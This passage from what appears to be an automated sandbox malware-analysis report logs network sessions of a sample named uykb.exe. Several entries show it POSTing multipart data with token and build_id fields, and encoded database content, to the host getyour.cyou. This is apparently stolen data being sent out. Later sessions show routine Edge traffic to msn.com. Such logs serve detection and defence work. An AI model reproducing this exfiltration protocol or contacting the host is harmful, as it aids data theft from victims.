41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-02-01 20:59:15 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-02-01 20:59:15 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-02-01 20:59:15 UTC	16355	OUT	Data Raw: 76 62 6e 52 68 59 33 52 66 61 57 35 6d 62 79 41 6f 5a 33 56 70 5a 43 42 57 51 56 4a 44 53 45 46 53 49 46 42 53 53 55 31 42 55 6c 6b 67 53 30 56 5a 4c 43 42 31 63 32 56 66 59 32 39 31 62 6e 51 67 53 55 35 55 52 55 64 46 55 69 42 4f 54 31 51 67 54 6c 56 4d 54 43 42 45 52 55 5a 42 56 55 78 55 49 44 41 73 49 48 56 7a 5a 56 39 6b 59 58 52 6c 49 45 6c 4f 56 45 56 48 52 56 49 67 54 6b 39 55 49 45 35 56 54 45 77 67 52 45 56 47 51 56 56 4d 56 43 41 77 4c 43 42 6b 59 58 52 6c 58 32 31 76 5a 47 6c 6d 61 57 56 6b 49 45 6c 4f 56 45 56 48 52 56 49 67 54 6b 39 55 49 45 35 56 54 45 77 67 52 45 56 47 51 56 56 4d 56 43 41 77 4c 43 42 73 59 57 35 6e 64 57 46 6e 5a 56 39 6a 62 32 52 6c 49 46 5a 42 55 6b 4e 49 51 56 49 73 49 47 78 68 59 6d 56 73 49 46 5a 42 55 6b 4e 49 51 56 Data Ascii: vbnRhY3RfaW5mbyAoZ3VpZCBWQVJDSEFSIFBSSU1BUlkgS0VZLCB1c2VfY291bnQgSU5URUdFUiBOT1QgTlVMTCBERUZBVUxUIDAsIHVzZV9kYXRlIElOVEVHRVIgTk9UIE5VTEwgREVGQVVMVCAwLCBkYXRlX21vZGlmaWVkIElOVEVHRVIgTk9UIE5VTEwgREVGQVVMVCAwLCBsYW5ndWFnZV9jb2RlIFZBUkNIQVIsIGxhYmVsIFZBUkNIQV
2025-02-01 20:59:15 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-02-01 20:59:15 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-02-01 20:59:15 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-02-01 20:59:15 UTC	11617	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-02-01 20:59:16 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 01 Feb 2025 20:59:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2025-02-01 20:59:16 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	49851	116.202.5.153	443	1432	C:\Users\user\Desktop\uykb.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-01 20:59:16 UTC	277	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----xlfcjeukxlnym7g4e3w4 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:136.0) Gecko/20100101 Firefox/136.0 Host: getyour.cyou Content-Length: 493 Connection: Keep-Alive Cache-Control: no-cache
2025-02-01 20:59:16 UTC	493	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 78 6c 66 63 6a 65 75 6b 78 6c 6e 79 6d 37 67 34 65 33 77 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 34 38 64 31 36 33 38 35 35 30 36 31 61 63 66 37 63 39 64 32 30 39 32 30 62 63 39 37 62 66 37 0d 0a 2d 2d 2d 2d 2d 2d 78 6c 66 63 6a 65 75 6b 78 6c 6e 79 6d 37 67 34 65 33 77 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 65 32 64 35 37 63 61 61 65 31 34 31 33 65 31 63 66 63 32 34 64 38 34 39 31 63 37 38 34 37 39 65 0d 0a 2d 2d 2d 2d 2d 2d 78 6c 66 63 6a 65 75 6b 78 6c 6e 79 6d 37 67 34 65 33 77 34 0d 0a 43 6f 6e 74 Data Ascii: ------xlfcjeukxlnym7g4e3w4Content-Disposition: form-data; name="token"e48d163855061acf7c9d20920bc97bf7------xlfcjeukxlnym7g4e3w4Content-Disposition: form-data; name="build_id"e2d57caae1413e1cfc24d8491c78479e------xlfcjeukxlnym7g4e3w4Cont
2025-02-01 20:59:17 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 01 Feb 2025 20:59:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2025-02-01 20:59:17 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.6	49874	204.79.197.203	443	7764	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-01 20:59:19 UTC	1267	OUT	GET /edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&startpage=1&PC=U531 HTTP/1.1 Host: ntp.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" sec-ch-ua-platform-version: "10.0.0" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 sec-edge-ntp: {"back_block":0,"bg_cur":{},"bg_img_typ":"bing","exp":["msQuickLinksDefaultOneRow","msShoppingWebAssistOnNtp","msShoppingHistogramsOnNtp","msEnableWinHPNewTabBackButtonFocusAndClose","msCustomMaxQuickLinks","msMaxQuickLinksAt20","msAllowThemeInstallationFromChromeStore","msEdgeSplitWindowPrivateTarget","msEdgeSplitWindowLinkMode"],"feed":0,"feed_dis":"peek","layout":1,"quick_links_opt":1,"sel_feed_piv":"","show_greet":true,"vt_opened":false} Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2025-02-01 20:59:20 UTC	8839	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 54273 Content-Type: text/html; charset=utf-8 Set-Cookie: _C_ETH=1; domain=.msn.com; path=/; secure; httponly Set-Cookie: _C_Auth= Set-Cookie: sptmarket=en-GB\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=31F15E03B2404DCFAC21A960AE4275DA.RefC=2025-02-01T20:59:20Z; expires=Mon, 01 Feb 2027 20:59:20 GMT; path=/ Set-Cookie: USRLOC=; expires=Mon, 01 Feb 2027 20:59:20 GMT; domain=.msn.com; path=/; secure; samesite=none; httponly Set-Cookie: MUID=2B3EBBCF6B2A66521035AE496A5867C7; expires=Thu, 26 Feb 2026 20:59:20 GMT; domain=.msn.com; path=/; secure; samesite=none Set-Cookie: MUIDB=2B3EBBCF6B2A66521035AE496A5867C7; expires=Thu, 26 Feb 2026 20:59:20 GMT; path=/; httponly Set-Cookie: _EDGE_S=F=1&SID=385CD9DA90E66D643EE7CC5C917D6CE3; domain=.msn.com; path=/; httponly Set-Cookie: _EDGE_V=1; expires=Thu, 26 Feb 2026 20:59:20 GMT; domain=.msn.com; path=/; httponly Access-Control-Allow-Methods: HEAD,GET,OPTIONS Content-Security-Policy: child-src 'self';connect-src 'self' .mavideo.microsoft.com arc.msn.com assets.msn.com assets2.msn.com assets.msn.cn assets2.msn.cn browser.events.data.msn.com browser.events.data.msn.cn browser.events.data.microsoftstart.com browser.events.data.microsoftstart.cn business.bing.com/api/ usgov.business.bing.com/api/ cdn.hubblecontent.osi.office.net copilotexplore.azurewebsites.net events-sandbox.data.msn.com events-sandbox.data.msn.cn events-sandbox.data.microsoftstart.com events-sandbox.data.microsoftstart.cn finance-services.msn.com https://.sharepoint.com/_api/v2.0/ https://.sharepoint-df.com/_api/v2.0/ https://.sharepoint.com/_api/v2.1/ https://*.sharepoint-df.com/_api/v2.1/ https://bingretailmsndata.azureedge.net/msndata/ https://browser.pipe.aria.microsoft.com/Collector/ https://dev.virtualearth.net/REST/v1/Imagery/ https://dev.ditu.live.com/REST/v1/Imagery/ https://ecn.dev.virtualearth.net https://jsconfig.adsafeprotected.com https://g.bing.com https://msx.bing.com https://pet [TRUNCATED] X-Robots-Tag: noindex X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1 X-UA-Compatible: IE=Edge;chrome=1 x-fabric-cluster: pmeprodeus nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.5} report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]},{"group":"csp-endpoint","max_age":86400,"endpoints":[{"url":"https://deff.nelreports.net/api/report"}]} Strict-Transport-Security: max-age=1209600; includeSubDomains; preload Accept-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA, Sec-CH-Viewport-Width, Sec-CH-Viewport-Height, Sec-CH-Prefers-Color-Scheme, Device-Memory, Downlink, ECT, RTT, Sec-CH-DPR X-Ceto-ref: 679e8b2874f34a6590930c942805793b\|AFD:31F15E03B2404DCFAC21A960AE4275DA\|2025-02-01T20:59:20.006Z X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 31F15E03B2404DCFAC21A960AE4275DA Ref B: EWR30EDGE0816 Ref C: 2025-02-01T20:59:20Z Date: Sat, 01 Feb 2025 20:59:19 GMT Connection: close
2025-02-01 20:59:20 UTC	698	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 75 73 22 20 64 69 72 3d 22 6c 74 72 22 20 3e 0d 0a 3c 68 65 61 64 20 64 61 74 61 2d 69 6e 66 6f 3d 22 66 3a 6d 73 6e 61 6c 6c 65 78 70 75 73 65 72 73 2c 70 72 67 2d 73 70 2d 6c 69 76 65 61 70 69 2c 70 72 67 2d 66 69 6e 2d 63 6f 6d 70 6f 66 2c 70 72 67 2d 66 69 6e 2d 68 70 6f 66 6c 69 6f 2c 70 72 67 2d 66 69 6e 2d 70 6f 66 6c 69 6f 2c 63 70 72 67 2d 68 70 2d 72 64 63 74 2c 63 2d 70 72 67 2d 6d 73 6e 2d 62 6c 73 62 69 64 6d 68 6f 2c 70 6e 70 77 78 65 78 70 72 65 67 33 36 30 2c 62 69 6e 67 5f 76 32 5f 73 63 6f 70 65 2d 63 2c 70 72 67 2d 31 73 2d 6c 63 6b 74 64 32 2d 63 2c 31 73 2d 62 77 6f 73 63 61 63 68 65 2c 31 73 2d 63 68 2d 74 72 76 6c 74 31 2c 31 73 2d 65 6e Data Ascii: <!DOCTYPE html><html lang="en-us" dir="ltr" ><head data-info="f:msnallexpusers,prg-sp-liveapi,prg-fin-compof,prg-fin-hpoflio,prg-fin-poflio,cprg-hp-rdct,c-prg-msn-blsbidmho,pnpwxexpreg360,bing_v2_scope-c,prg-1s-lcktd2-c,1s-bwoscache,1s-ch-trvlt1,1s-en
2025-02-01 20:59:20 UTC	436	IN	Data Raw: 6b 63 74 72 2c 31 73 2d 77 70 6f 2d 64 6d 73 64 70 72 32 2d 74 32 2c 31 73 2d 77 70 6f 2d 70 72 32 2d 64 6d 73 64 2c 70 72 67 2d 31 73 77 2d 73 64 63 64 70 32 2c 70 72 67 2d 64 6d 2d 74 69 74 6c 65 2c 31 73 2d 6e 74 66 32 2d 65 76 6c 63 66 63 2c 31 73 2d 6e 74 66 32 2d 62 6b 6e 6c 63 2c 31 73 2d 6e 74 66 32 2d 69 70 74 6c 63 2c 31 73 2d 70 72 32 2d 65 76 6c 63 2c 31 73 2d 70 72 32 2d 65 76 6c 63 62 62 2c 31 73 2d 70 72 32 2d 65 76 6c 63 68 2c 31 73 2d 70 72 32 2d 65 76 6c 63 6e 2c 31 73 2d 70 72 32 2d 65 76 6c 63 72 70 2c 31 73 2d 70 72 32 2d 65 76 6c 63 74 2c 31 73 2d 70 72 67 32 2d 6c 69 66 65 63 79 63 6c 65 2c 31 73 2d 77 70 6f 2d 70 72 32 2d 6e 63 61 72 64 2c 31 73 2d 77 70 6f 2d 70 72 32 2d 70 6e 70 66 69 6c 74 65 72 2c 31 73 2d 77 70 6f 2d 70 72 67 Data Ascii: kctr,1s-wpo-dmsdpr2-t2,1s-wpo-pr2-dmsd,prg-1sw-sdcdp2,prg-dm-title,1s-ntf2-evlcfc,1s-ntf2-bknlc,1s-ntf2-iptlc,1s-pr2-evlc,1s-pr2-evlcbb,1s-pr2-evlch,1s-pr2-evlcn,1s-pr2-evlcrp,1s-pr2-evlct,1s-prg2-lifecycle,1s-wpo-pr2-ncard,1s-wpo-pr2-pnpfilter,1s-wpo-prg
2025-02-01 20:59:20 UTC	4096	IN	Data Raw: 61 2d 64 74 31 2c 31 73 2d 72 70 73 73 65 63 61 75 74 68 74 2c 6a 6a 5f 66 61 63 5f 74 2c 74 72 61 66 66 69 63 2d 70 72 32 2d 6c 6f 63 61 6c 2d 74 32 2c 70 72 67 2d 70 72 32 2d 74 66 2d 6c 6f 63 61 6c 2d 74 32 2c 70 72 67 2d 70 72 32 2d 74 72 66 6e 62 6c 63 2c 70 72 67 2d 70 72 32 2d 6c 61 7a 79 69 66 70 2c 70 72 67 2d 70 72 32 2d 6d 75 69 64 73 79 6e 63 2c 63 68 61 74 6e 5f 76 32 5f 74 31 2c 70 72 67 2d 70 72 31 2d 75 63 2d 6e 2d 63 2c 70 72 67 2d 31 63 61 73 68 62 61 63 6b 2d 75 6e 69 66 69 65 64 2c 31 73 2d 6e 74 66 32 2d 63 76 66 64 75 70 2c 31 73 2d 6e 74 66 32 2d 70 72 77 72 63 61 6c 69 31 2c 31 73 2d 6e 74 66 32 2d 70 72 77 72 76 64 75 31 2c 31 73 2d 77 70 6f 2d 70 72 32 2d 73 64 73 68 70 31 35 63 2c 32 34 31 32 2d 69 2d 6e 63 6f 66 2d 74 2c 31 73 Data Ascii: a-dt1,1s-rpssecautht,jj_fac_t,traffic-pr2-local-t2,prg-pr2-tf-local-t2,prg-pr2-trfnblc,prg-pr2-lazyifp,prg-pr2-muidsync,chatn_v2_t1,prg-pr1-uc-n-c,prg-1cashback-unified,1s-ntf2-cvfdup,1s-ntf2-prwrcali1,1s-ntf2-prwrvdu1,1s-wpo-pr2-sdshp15c,2412-i-ncof-t,1s
2025-02-01 20:59:20 UTC	4096	IN	Data Raw: 71 75 6f 74 3b 64 6f 6d 61 69 6e 26 71 75 6f 74 3b 3a 20 26 71 75 6f 74 3b 68 74 74 70 73 3a 2f 2f 61 73 73 65 74 73 2e 6d 73 6e 2e 63 6f 6d 26 71 75 6f 74 3b 2c 20 26 71 75 6f 74 3b 70 61 74 68 26 71 75 6f 74 3b 3a 20 26 71 75 6f 74 3b 2f 63 6f 6e 66 69 67 2f 76 33 2f 26 71 75 6f 74 3b 2c 20 26 71 75 6f 74 3b 76 26 71 75 6f 74 3b 3a 20 26 71 75 6f 74 3b 26 71 75 6f 74 3b 7d 2c 26 71 75 6f 74 3b 63 72 73 26 71 75 6f 74 3b 3a 20 7b 26 71 75 6f 74 3b 64 6f 6d 61 69 6e 26 71 75 6f 74 3b 3a 20 26 71 75 6f 74 3b 68 74 74 70 73 3a 2f 2f 61 73 73 65 74 73 2e 6d 73 6e 2e 63 6f 6d 26 71 75 6f 74 3b 2c 20 26 71 75 6f 74 3b 70 61 74 68 26 71 75 6f 74 3b 3a 20 26 71 75 6f 74 3b 2f 72 65 73 6f 6c 76 65 72 2f 61 70 69 2f 72 65 73 6f 6c 76 65 2f 26 71 75 6f 74 3b 2c 20 Data Ascii: quot;domain": "https://assets.msn.com", "path": "/config/v3/", "v": ""},"crs": {"domain": "https://assets.msn.com", "path": "/resolver/api/resolve/",
2025-02-01 20:59:20 UTC	4096	IN	Data Raw: 6c 61 6e 6b 23 65 72 72 6f 72 22 7d 69 66 28 6e 2e 68 6f 73 74 6e 61 6d 65 26 26 21 74 2e 69 6e 63 6c 75 64 65 73 28 6e 2e 68 6f 73 74 6e 61 6d 65 29 29 72 65 74 75 72 6e 22 61 62 6f 75 74 3a 62 6c 61 6e 6b 23 65 72 72 6f 72 22 3b 72 65 74 75 72 6e 20 65 7d 28 65 29 3b 72 65 74 75 72 6e 20 74 7d 7d 29 3b 72 65 74 75 72 6e 20 6e 5b 65 5d 3d 6f 2c 6f 7d 6c 65 74 20 69 2c 72 3b 66 75 6e 63 74 69 6f 6e 20 73 28 29 7b 69 66 28 21 69 29 7b 63 6f 6e 73 74 20 65 3d 64 6f 63 75 6d 65 6e 74 2e 68 65 61 64 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 63 6c 69 65 6e 74 2d 73 65 74 74 69 6e 67 73 22 29 3b 65 26 26 28 69 3d 4a 53 4f 4e 2e 70 61 72 73 65 28 65 29 29 7d 72 65 74 75 72 6e 20 69 7d 66 75 6e 63 74 69 6f 6e 20 61 28 29 7b 69 66 28 72 29 72 65 Data Ascii: lank#error"}if(n.hostname&&!t.includes(n.hostname))return"about:blank#error";return e}(e);return t}});return n[e]=o,o}let i,r;function s(){if(!i){const e=document.head.getAttribute("data-client-settings");e&&(i=JSON.parse(e))}return i}function a(){if(r)re
2025-02-01 20:59:20 UTC	4096	IN	Data Raw: 7b 63 6f 6e 73 74 20 65 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 64 6f 63 75 6d 65 6e 74 26 26 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 2e 73 70 6c 69 74 28 22 3b 20 22 29 3b 5f 3d 7b 7d 3b 63 6f 6e 73 74 20 74 3d 65 26 26 65 2e 6c 65 6e 67 74 68 3b 66 6f 72 28 6c 65 74 20 6e 3d 30 3b 6e 3c 74 3b 6e 2b 2b 29 7b 63 6f 6e 73 74 20 74 3d 65 5b 6e 5d 2e 69 6e 64 65 78 4f 66 28 22 3d 22 29 3b 5f 5b 65 5b 6e 5d 2e 73 6c 69 63 65 28 30 2c 74 29 2e 74 6f 4c 6f 63 61 6c 65 4c 6f 77 65 72 43 61 73 65 28 29 5d 3d 4d 28 65 5b 6e 5d 2e 73 6c 69 63 65 28 74 2b 31 29 29 7d 7d 63 6f 6e 73 74 20 6e 3d 65 2e 74 6f 4c 6f 63 61 6c 65 4c 6f 77 65 72 43 61 73 65 28 29 3b 72 65 74 75 72 6e 20 5f 5b 6e 5d 7c 7c 6e 75 6c 6c 7d 66 75 6e 63 74 69 6f 6e 20 Data Ascii: {const e="undefined"!=typeof document&&document.cookie.split("; ");_={};const t=e&&e.length;for(let n=0;n<t;n++){const t=e[n].indexOf("=");_[e[n].slice(0,t).toLocaleLowerCase()]=M(e[n].slice(t+1))}}const n=e.toLocaleLowerCase();return _[n]\|\|null}function
